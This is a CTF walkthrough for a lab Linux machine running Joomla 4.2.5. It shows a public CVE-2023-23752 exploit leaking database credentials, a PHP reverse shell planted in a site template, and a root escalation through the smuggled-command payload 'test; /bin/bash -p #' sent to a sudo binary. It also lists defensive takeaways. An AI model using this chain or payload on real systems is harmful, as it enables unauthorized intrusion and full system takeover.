Post

Samurai Hacksmarter — Walkthrough

You are a member of the Hack Smarter Red Team. During a phishing engagement, you were able to retrieve credentials for the client's Active Directory environment. Use these credentials to enumerate the environment, elevate your privileges, and demonstrate impact for the client.

Samurai Hacksmarter — Walkthrough

Samurai — CTF Walkthrough

Difficulty: Easy
OS: Linux
Services: SSH (22), HTTP (80)
Key Techniques: CVE-2023-23752 (Joomla Unauthenticated Info Disclosure), Template RCE, PATH Hijacking / Command Injection


Overview

Samurai is a Linux-based CTF machine centered around a Joomla CMS instance. The attack chain involves exploiting an unauthenticated information disclosure vulnerability (CVE-2023-23752) to harvest database credentials, logging into the Joomla admin panel, injecting a reverse shell into a site template, and finally escalating privileges via a custom SUID-enabled binary that is vulnerable to command injection.


Reconnaissance

Port Scan

We begin with a full port scan using RustScan piped into Nmap:

1
rustscan -b 500 -a 10.1.39.176 -- -sC -sV

Results:

PortStateServiceVersion
22/tcpopenSSHOpenSSH 8.9p1 Ubuntu
80/tcpopenHTTPApache httpd 2.4.52 (Ubuntu)

Two ports are exposed — SSH and an Apache web server. The HTTP title is “Samurai”, confirming this is the primary attack surface.

img


Enumeration

Directory Brute-Force

1
dirsearch -u http://10.1.39.176/

Notable findings from the scan:

PathStatusNotes
/administrator/200Joomla admin login panel
/administrator/index.php200Admin entry point
/api/301API endpoint
/configuration.php2000B — contents hidden but exists
/htaccess.txt200Joomla artefact
/README.txt200Version hints

The /administrator path leads to the Joomla Administrator Login page. Default credentials (admin:admin, admin:password, etc.) did not work.

Tip: Files like /htaccess.txt, /README.txt, and /web.config.txt are Joomla default files that can hint at the CMS type and version before you run a dedicated scanner.

img img

Joomla Version Detection

Since default credentials failed, we run joomscan to fingerprint the exact Joomla version:

1
joomscan -u http://10.1.39.176/

Key output:

1
2
3
4
5
6
7
8
[+] Detecting Joomla Version
[++] Joomla 4.2.5

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable

[+] admin finder
[++] Admin page: http://10.1.39.176/administrator/

img

Joomla version: 4.2.5

The scanner reports the core as “not vulnerable” — but that refers only to known RCE chains in the core. Joomla 4.2.5 is within the affected range of CVE-2023-23752, an unauthenticated information disclosure vulnerability.


Exploitation

CVE-2023-23752 — Unauthenticated Information Disclosure

Affected versions: Joomla 4.0.0 – 4.2.7
Type: Improper access check on webservice endpoints
Impact: Unauthenticated access to sensitive configuration data including database credentials

References:

img img

Setup

Clone the exploit repository:

img

1
2
git clone https://github.com/Acceis/exploit-CVE-2023-23752
cd exploit-CVE-2023-23752

Install the required Ruby gems (the exploit will throw a LoadError without these):

img

1
2
3
gem install httpx docopt paint
# or
bundle install

Running the Exploit

1
ruby exploit.rb http://10.1.39.176

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Users
[769] Oda Miyamoto - oda@local.local - Super Users

Site info
Site name: Samurai
Editor: tinymce

Database info
DB type: mysqli
DB host: localhost
DB user: joomla425
DB password: Pa847word987@Joomla456
DB name: Dbjoomla
DB prefix: iemj4_

img

We have leaked:

  • Username: Miyamoto
  • Password: Pa847word987@Joomla456

Why does this work? Joomla exposes a /api/index.php/v1/config/application?public=true endpoint intended for public configuration. Due to an improper access check, it also returns sensitive site configuration — including database credentials — without any authentication.


Accessing the Admin Panel

Navigate to http://10.1.39.176/administrator/ and log in with the harvested credentials:

1
2
Username: Miyamoto
Password: Pa847word987@Joomla456

We are now inside the Joomla System Dashboard with Super User privileges.


Remote Code Execution via Template Injection

With admin access, we can edit PHP template files directly — a well-known post-auth RCE path in Joomla.

Steps:

  1. Go to SystemTemplatesSite Templates
  2. Click on the Cassiopeia template → Open Files
  3. Select error.php from the file tree
  4. Replace the file contents with a PHP reverse shell (e.g., from php-reverse-shell)
  5. Update your attacker IP and port in the shell, then Save & Close

img img img

Start the Listener

1
penelope -p 4444

Trigger the Shell

Visit the modified template file in your browser:

1
http://10.1.39.176/templates/cassiopeia/error.php

Shell received:

1
2
3
4
5
[+] Got reverse shell from streetcoder~10.1.39.176
[+] Shell upgraded successfully using /usr/bin/python
[+] Interacting with session [1], Shell Type: PTY

www-data@streetcoder:/$

We are now operating as www-data.

img


Privilege Escalation

Sudo Enumeration

1
sudo -l
1
2
User www-data may run the following commands on streetcoder:
    (root) NOPASSWD: /opt/backup/DbMaria

img

We can run /opt/backup/DbMaria as root with no password. Let’s analyze it.

Binary Analysis with strings

1
strings /opt/backup/DbMaria

Key line spotted in the output:

1
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql

Two critical observations:

  1. The binary calls mariadb-dump without an absolute path — meaning it relies on $PATH to resolve it. This opens the door to a PATH hijacking attack.
  2. The %s placeholder is directly interpolated from user input into a shell command — a classic command injection vulnerability.

Exploitation — Command Injection

We can break out of the intended command using a semicolon to inject a second command:

1
sudo /opt/backup/DbMaria 'test; /bin/bash -p #'

img

What happens step by step:

PartEffect
testPassed as the database name argument — mariadb-dump will fail/succeed but we don’t care
;Shell command separator — the next command executes regardless
/bin/bash -pSpawns a new Bash shell; -p preserves the effective UID (root) since the binary runs under sudo
#Comments out the rest of the original command (> /tmp/backup.sql), preventing redirection errors

Result:

1
2
root@streetcoder:/# id
uid=0(root) gid=0(root) groups=0(root)

Rooted. 🎉


Summary

StepTechniqueDetail
1ReconNmap/RustScan → SSH + HTTP
2EnumerationDirsearch → Joomla admin panel discovered
3Version DetectionJoomscan → Joomla 4.2.5
4Initial AccessCVE-2023-23752 → DB credentials leaked
5Admin LoginHarvested creds → Joomla Super User
6RCETemplate editor → PHP reverse shell in error.php
7Shellwww-data shell via penelope listener
8PrivEscSudo binary DbMaria → command injection → root shell

Key Takeaways

  • CVE-2023-23752 is a dangerous misconfiguration-class vulnerability that requires zero authentication. Any Joomla 4.x instance below 4.2.8 should be patched immediately.
  • Template file editing in Joomla admin is essentially arbitrary PHP execution. Admin panel access should be treated as equivalent to a shell.
  • Never use %s with system()/popen() and unsanitized user input. The DbMaria binary is a textbook example of command injection via format string substitution.
  • Always use absolute paths in binaries that run with elevated privileges. Relying on $PATH when running as root is a critical security flaw.

Happy hacking — stay ethical, stay curious.

This post is licensed under CC BY 4.0 by the author.